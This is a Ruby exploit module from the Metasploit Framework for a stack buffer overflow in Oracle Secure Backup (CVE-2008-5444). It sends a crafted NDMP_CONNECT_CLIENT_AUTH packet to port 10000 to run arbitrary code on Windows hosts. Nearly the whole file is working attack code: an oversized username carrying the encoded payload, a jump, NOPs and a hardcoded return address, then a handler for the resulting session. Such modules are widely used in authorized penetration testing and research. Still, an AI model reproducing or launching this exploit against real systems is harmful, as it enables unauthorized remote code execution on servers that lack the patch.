Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow



##

# $Id: osb_ndmp_auth.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::NDMP

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
            'Description'    => %q{
                    The module exploits a stack buffer overflow in Oracle Secure Backup.
                When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
                an attacker may be able to execute arbitrary code.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2008-5444' ],
                    [ 'OSVDB', '51340' ],
                    [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
                ],
            'Platform'       => 'win',
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
                },
            'Targets'        =>
                [
                    [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)',  { 'Ret' => 0x608f5a28 } ], # oracore10.dll
                ],
            'DisclosureDate' => 'Jan 14 2009',
            'DefaultTarget' => 0))

        register_options([Opt::RPORT(10000)], self.class)
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        ndmp_recv()

        username =  rand_text_alphanumeric(3789 - payload.encoded.length)
        username << payload.encoded + Rex::Arch::X86.jmp_short(6)
        username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
        username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)

        password = rand_text_alphanumeric(rand(25) + 1)

        # Create the authentication request
        auth = [
                0,               # Sequence number
                Time.now.to_i,   # Current time
                0,               # Message type (request)
                0x901,           # Message name (connect_client_auth)
                0,               # Reply sequence number
                0,               # Error status
                1                # Authentication type
            ].pack('NNNNNNN') +
            [ username.length ].pack('N') + username +
            [ password.length ].pack('N') + password +
            [ 4 ].pack('N')

        print_status("Sending authentication request...")
        ndmp_send(auth)

        handler
        disconnect
    end

end